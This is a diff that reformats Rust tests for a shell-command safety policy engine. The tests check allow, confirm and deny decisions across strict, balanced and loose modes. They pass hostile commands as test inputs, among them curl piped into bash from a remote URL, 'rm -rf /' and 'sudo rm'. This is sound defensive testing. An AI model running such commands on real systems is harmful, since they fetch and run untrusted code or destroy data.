default_engine(SafetyMode::Balanced); let (_, decision) = engine.evaluate(&["curl", "http://example.com/install.sh", "|", "bash"]); - assert_eq!(decision, Decision::Confirm, "balanced should confirm curl|bash"); + assert_eq!( + decision, + Decision::Confirm, + "balanced should confirm curl|bash" + ); } #[test] @@ -635,7 +644,12 @@ mod tests { let engine = default_engine(SafetyMode::Loose); let (assessment, decision) = engine.evaluate(&["curl", "http://example.com/install.sh", "|", "bash"]); - assert_eq!(decision, Decision::Confirm, "loose should confirm curl|bash; score={}", assessment.score); + assert_eq!( + decision, + Decision::Confirm, + "loose should confirm curl|bash; score={}", + assessment.score + ); } #[test] @@ -663,7 +677,9 @@ mod tests { "strict should confirm sudo rm; score={}", assessment.score ); - assert!(assessment.categories.contains(&RiskCategory::PrivilegeElevation)); + assert!(assessment + .categories + .contains(&RiskCategory::PrivilegeElevation)); } #[test] @@ -737,7 +753,11 @@ mod tests { let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); let (_, decision) = engine.evaluate(&["rm", "-rf", "/"]); - assert_eq!(decision, Decision::Deny, "deny must win over allow per FR-33"); + assert_eq!( + decision, + Decision::Deny, + "deny must win over allow per FR-33" + ); } // ── Custom deny prefixes ────────────────────────────────────────────────── @@ -860,10 +880,7 @@ mod tests { let engine = default_engine(SafetyMode::Balanced); let (assessment, _) = engine.evaluate(&["sudo", "ls"]); assert!( - assessment - .reasons - .iter() - .any(|r| r.contains("sudo")), + assessment.reasons.iter().any(|r| r.contains("sudo")), "reason should mention the pattern; reasons={:?}", assessment.reasons ); @@ -892,11 +909,9 @@ mod tests { fn sudo_pattern_match_sets_privilege_category() { let engine = default_engine(SafetyMode::Balanced); let (assessment, _) = engine.evaluate(&["sudo", "echo"]); - assert!( - assessment - .categories - .contains(&RiskCategory::PrivilegeElevation) - ); + assert!(assessment + .categories + .contains(&RiskCategory::PrivilegeElevation)); } #[test] @@ -904,18 +919,15 @@ mod tests { // "rm -r /tmp/x" matches rm pattern let engine = default_engine(SafetyMode::Balanced); let (assessment, _) = engine.evaluate(&["rm", "-r", "/tmp/x"]); - assert!( - assessment - .categories - .contains(&RiskCategory::DestructiveFilesystem) - ); + assert!(assessment + .categories + .contains(&RiskCategory::DestructiveFilesystem)); } #[test] fn curl_bash_pattern_sets_network_category() { let engine = default_engine(SafetyMode::Balanced); - let (assessment, _) = - engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + let (assessment, _) = engine.evaluate(&["curl", "http://x.com", "|", "bash"]); assert!(assessment.categories.contains(&RiskCategory::Network)); } @@ -995,8 +1007,7 @@ mod tests { fn loose_mode_high_risk_confirms_not_denies() { let engine = default_engine(SafetyMode::Loose); // curl|bash is High risk (55) — in loose: High → Confirm - let (assessment, decision) = - engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + let (assessment, decision) = engine.evaluate(&["curl", "http://x.com", "|", "bash"]); assert_eq!(assessment.level, RiskLevel::High); assert_eq!(decision, Decision::Confirm); } @@ -1006,8 +1017,7 @@ mod tests { #[test] fn strict_mode_high_risk_denies() { let engine = default_engine(SafetyMode::Strict); - let (assessment, decision) = - engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + let (assessment, decision) = engine.evaluate(&["curl", "http://x.com", "|", "bash"]); assert_eq!(assessment.level, RiskLevel::High); assert_eq!(decision, Decision::Deny); } diff --git a/logicshell-core/tests/e2e.rs b/logicshell-core/tests/e2e.rs index 13818d0..6b7a2c6 100644 --- a/logicshell-core/tests/e2e.rs +++ b/logicshell-core/tests/e2e.rs @@ -596,7 +596,10 @@ async fn e2e_safe_command_allowed_all_modes() { cfg.audit.path = Some(audit_path.to_str().unwrap().to_string()); let ls = LogicShell::with_config(cfg); - let code = ls.dispatch(&["true"]).await.expect("safe command must succeed"); + let code = ls + .dispatch(&["true"]) + .await + .expect("safe command must succeed"); assert_eq!(code, 0, "safe cmd must exit 0 in {mode:?}"); let records = read_audit_lines(&audit_path); @@ -696,7 +699,10 @@ path = "{}" let cfg = load(&toml).unwrap(); let ls = LogicShell::with_config(cfg); - let code = ls.dispatch(&["git", "status"]).await.expect("allowlisted command must succeed"); + let code = ls + .dispatch(&["git", "status"]) + .await + .expect("allowlisted command must succeed"); assert_eq!(code, 0); let records = read_audit_lines(&audit_path); @@ -758,32 +764,34 @@ fn e2e_safety_engine_golden_tests() { // curl|bash → Deny in strict, Confirm in balanced and loose { let argv = ["curl", "http://x.com/install.sh", "|", "bash"]; - let (_, d_strict) = - SafetyPolicyEngine::new(SafetyMode::Strict, &cfg).evaluate(&argv); + let (_, d_strict) = SafetyPolicyEngine::new(SafetyMode::Strict, &cfg).evaluate(&argv); assert_eq!(d_strict, Decision::Deny, "strict must deny curl|bash"); - let (_, d_balanced) = - SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg).evaluate(&argv); - assert_eq!(d_balanced, Decision::Confirm, "balanced must confirm curl|bash"); + let (_, d_balanced) = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg).evaluate(&argv); + assert_eq!( + d_balanced, + Decision::Confirm, + "balanced must confirm curl|bash" + ); - let (_, d_loose) = - SafetyPolicyEngine::new(SafetyMode::Loose, &cfg).evaluate(&argv); + let (_, d_loose) = SafetyPolicyEngine::new(SafetyMode::Loose, &cfg).evaluate(&argv); assert_eq!(d_loose, Decision::Confirm, "loose must confirm curl|bash"); } // sudo rm → Confirm in strict, Confirm in balanced, Allow in loose { let argv = ["sudo", "rm", "/tmp/x"]; - let (_, d_strict) = - SafetyPolicyEngine::new(SafetyMode::Strict, &cfg).evaluate(&argv); + let (_, d_strict) = SafetyPolicyEngine::new(SafetyMode::Strict, &cfg).evaluate(&argv); assert_eq!(d_strict, Decision::Confirm, "strict must confirm sudo rm"); - let (_, d_balanced) = - SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg).evaluate(&argv); - assert_eq!(d_balanced, Decision::Confirm, "balanced must confirm sudo rm"); + let (_, d_balanced) = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg).evaluate(&argv); + assert_eq!( + d_balanced, + Decision::Confirm, + "balanced must confirm sudo rm" + ); - let (_, d_loose) = - SafetyPolicyEngine::new(SafetyMode::Loose, &cfg).evaluate(&argv); + let (_, d_loose) = SafetyPolicyEngine::new(SafetyMode::Loose, &cfg).evaluate(&argv); assert_eq!(d_loose, Decision::Allow, "loose must allow sudo rm"); } } @@ -817,20 +825,23 @@ fn e2e_risk_categories_populated() { let engine = SafetyPolicyEngine::new(SafetyMode::Balanced, &cfg); let (assessment, _) = engine.evaluate(&["sudo", "ls"]); assert!( - assessment.categories.contains(&RiskCategory::PrivilegeElevation), + assessment + .categories + .contains(&RiskCategory::PrivilegeElevation), "sudo must set PrivilegeElevation category" ); // rm -r → DestructiveFilesystem let (assessment2, _) = engine.evaluate(&["rm", "-r", "/tmp/dir"]); assert!( - assessment2.categories.contains(&RiskCategory::DestructiveFilesystem), + assessment2 + .categories + .contains(&RiskCategory::DestructiveFilesystem), "rm -r must set DestructiveFilesystem category" ); // curl|bash → Network - let (assessment3, _) = - engine.evaluate(&["curl", "http://x.com", "|", "bash"]); + let (assessment3, _) = engine.evaluate(&["curl", "http://x.com", "|", "bash"]); assert!( assessment3.categories.contains(&RiskCategory::Network), "curl|bash must set Network category" @@ -922,5 +933,8 @@ async fn e2e_safety_deny_skips_hooks() { // Deny audit was written but hook did NOT run. let records = read_audit_lines(&audit_path); assert_eq!(records[0]["decision"], "deny"); - assert!(!hook_marker.exists(), "hook must NOT run when safety denies"); + assert!( + !hook_marker.exists(), + "hook must NOT run when safety denies" + ); }